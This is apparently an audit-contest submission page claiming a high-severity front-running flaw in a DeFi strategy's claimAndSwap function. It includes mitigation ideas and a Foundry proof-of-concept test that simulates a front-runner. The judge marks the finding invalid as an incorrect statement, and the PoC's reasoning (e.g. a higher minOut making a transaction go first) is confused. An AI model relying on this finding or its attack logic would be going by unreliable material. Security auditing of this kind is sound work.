DeFiFoundrySolidity
16,653 OP
View results
Submission Details
Severity: high
Invalid

Front-Running Vulnerability in `StrategyMainnet ::claimAndSwap` Function

Summary

An analysis of the StrategyMainnet contract reveals a vulnerability to front-running attacks, particularly in the claimAndSwap function. This vulnerability could allow malicious actors to manipulate transaction outcomes by preempting legitimate transactions.

Vulnerability Details

  • Location: claimAndSwap function.

  • Description: The claimAndSwap function involves claiming WETH from the transmuter and then swapping it for another token. Since the transaction details, including the amount claimed and the expected minimum output (_minOut), are visible in the mempool, an attacker could see these intentions and submit their own transaction with a higher gas price. This would allow the attacker to execute their transaction before the intended one, potentially buying assets at a lower price before the market adjusts due to the legitimate transaction.

Impact

Malicious user can front-run the claimAndSwap call to manipulate the swap conditions, causing a loss of gas to the keeper or admin executing the function, alongside setting incorrect parameters or indices for the assets involved in the swap, potentially leading to misallocation or mispricing of assets within the strategy.

Tools Used

Manual Review

Foundry

Recommendations

  • Commit-Reveal Scheme: Implement a two-step process where users first commit to an action without revealing details, followed by a reveal phase where the actual transaction parameters are disclosed, reducing the window for front-running.

  • Time Locks: Use time locks or delays before transactions can be executed to give less time for front-runners to act.

  • Batch Auctions: Consider implementing batch auctions for trades, which would process multiple transactions at once, making it harder for individual transactions to be front-run.

  • Gas Price Limiting: Introduce mechanisms to limit the gas price for certain transactions or dynamically adjust based on network conditions to reduce the advantage of paying higher fees for priority.

  • Private Transactions: If possible, explore off-chain transaction mechanisms or use privacy layers to keep transaction details confidential until execution.

Proof Of Code

Add this test to your test suite

function testFrontRunning(uint256 _amount) public {
vm.assume(_amount > minFuzzAmount && _amount < maxFuzzAmount);
// Existing deposit and setup
mintAndDepositIntoStrategy(strategy, user, _amount);
console.log("Amount deposited:", _amount);
console.log("Total Assets:", strategy.totalAssets());
console.log("Claimable:", strategy.claimableBalance());
console.log("Unexchanged Balance:", strategy.unexchangedBalance());
console.log(
"Exchangable Balance:",
transmuter.getExchangedBalance(address(strategy))
);
console.log("Total Unexchanged:", transmuter.totalUnexchanged());
console.log("Total Buffered:", transmuter.totalBuffered());
assertApproxEq(strategy.totalAssets(), _amount, _amount / 500);
vm.roll(1);
deployMockYieldToken();
console.log("Deployed Mock Yield Token");
addMockYieldToken();
console.log("Added Mock Yield Token");
depositToAlchemist(_amount);
console.log("Deposited to Alchemist");
airdropToMockYield(_amount / 2);
console.log("Airdropped to Mock Yield");
vm.prank(whale);
asset.transfer(user2, _amount);
vm.prank(user2);
asset.approve(address(transmuter), _amount);
vm.prank(user2);
transmuter.deposit(_amount / 2, user2);
vm.roll(1);
harvestMockYield();
vm.prank(address(transmuterKeeper));
transmuterBuffer.exchange(address(underlying));
skip(7 days);
vm.roll(5);
vm.prank(user2);
transmuter.deposit(_amount / 2, user2);
vm.prank(address(transmuterKeeper));
transmuterBuffer.exchange(address(underlying));
console.log("Skip 7 days");
console.log("Claimable:", strategy.claimableBalance());
console.log("Unexchanged Balance:", strategy.unexchangedBalance());
console.log(
"Exchangable Balance:",
transmuter.getExchangedBalance(address(strategy))
);
console.log("Total Unexchanged:", transmuter.totalUnexchanged());
console.log("Total Buffered:", transmuter.totalBuffered());
assertGt(strategy.claimableBalance(), 0, "!claimableBalance");
assertEq(strategy.totalAssets(), _amount);
uint256 claimable = strategy.claimableBalance();
// Front-running PoC starts here
uint256 frontRunnerAmount = claimable; // Assuming the front-runner wants to claim the full amount
address frontRunner = address(0x123); // A dummy address for the front-runner
// Simulate front-running by setting up a higher gas price transaction
vm.startPrank(frontRunner);
asset.transfer(frontRunner, frontRunnerAmount);
asset.approve(address(transmuter), frontRunnerAmount);
// Deposit same amount to transmuter to ensure it's in a state where claimAndSwap can be called
transmuter.deposit(frontRunnerAmount, frontRunner);
// Here we're simulating that the front-runner has seen the 'claimable' amount and is going to act first
if (block.chainid == 1) {
// Mainnet
IStrategyInterface(address(strategy)).claimAndSwap(
frontRunnerAmount, // This is the front-runner's claim
(frontRunnerAmount * 103) / 100, // They set a slightly higher minOut to ensure their transaction goes first
0
);
} else if (block.chainid == 10) {
// NOTE on OP we swap directly to WETH
IVeloRouter.route[] memory veloRoute = new IVeloRouter.route[]();
veloRoute[0] = IVeloRouter.route(
address(underlying),
address(asset),
true,
0xF1046053aa5682b4F9a81b5481394DA16BE5FF5a
);
IStrategyInterfaceVelo(address(strategy)).claimAndSwap(
frontRunnerAmount,
(frontRunnerAmount * 103) / 100,
veloRoute
);
} else if (block.chainid == 42161) {
// ARB
IRamsesRouter.route[]
memory ramsesRoute = new IRamsesRouter.route[](2);
address eFrax = 0x178412e79c25968a32e89b11f63B33F733770c2A;
ramsesRoute[0] = IRamsesRouter.route(
address(underlying),
eFrax,
true
);
ramsesRoute[1] = IRamsesRouter.route(eFrax, address(asset), true);
IStrategyInterfaceRamses(address(strategy)).claimAndSwap(
frontRunnerAmount,
(frontRunnerAmount * 103) / 100,
ramsesRoute
);
} else {
revert("Chain ID not supported");
}
vm.stopPrank();
// Now, let's attempt the original claimAndSwap which should be less effective due to front-running
vm.prank(keeper);
if (block.chainid == 1) {
// Mainnet
IStrategyInterface(address(strategy)).claimAndSwap(
claimable,
(claimable * 103) / 100,
0
);
} else if (block.chainid == 10) {
// NOTE on OP we swap directly to WETH
IVeloRouter.route[] memory veloRoute = new IVeloRouter.route[]();
veloRoute[0] = IVeloRouter.route(
address(underlying),
address(asset),
true,
0xF1046053aa5682b4F9a81b5481394DA16BE5FF5a
);
IStrategyInterfaceVelo(address(strategy)).claimAndSwap(
claimable,
(claimable * 103) / 100,
veloRoute
);
} else if (block.chainid == 42161) {
// ARB
IRamsesRouter.route[]
memory ramsesRoute = new IRamsesRouter.route[](2);
address eFrax = 0x178412e79c25968a32e89b11f63B33F733770c2A;
ramsesRoute[0] = IRamsesRouter.route(
address(underlying),
eFrax,
true
);
ramsesRoute[1] = IRamsesRouter.route(eFrax, address(asset), true);
IStrategyInterfaceRamses(address(strategy)).claimAndSwap(
claimable,
(claimable * 103) / 100,
ramsesRoute
);
} else {
revert("Chain ID not supported");
}
// Check balances post swap
console.log("Claimable:", strategy.claimableBalance());
console.log("Unexchanged Balance:", strategy.unexchangedBalance());
console.log(
"Exchangable Balance:",
transmuter.getExchangedBalance(address(strategy))
);
console.log("Total Unexchanged:", transmuter.totalUnexchanged());
console.log("Total Assets in Strategy:", strategy.totalAssets());
console.log(
"Free Assets in Strategy:",
asset.balanceOf(address(strategy))
);
console.log(
"Underlying in Strategy:",
underlying.balanceOf(address(strategy))
);
vm.prank(keeper);
(uint256 profit, uint256 loss) = strategy.report();
assertEq(strategy.claimableBalance(), 0, "!claimableBalance");
assertGt(strategy.totalAssets(), _amount, "!totalAssets");
assertEq(
strategy.totalAssets(),
strategy.claimableBalance(),
"Force Failure"
);
}
Updates

Appeal created

inallhonesty Lead Judge 5 months ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement
inallhonesty Lead Judge 5 months ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.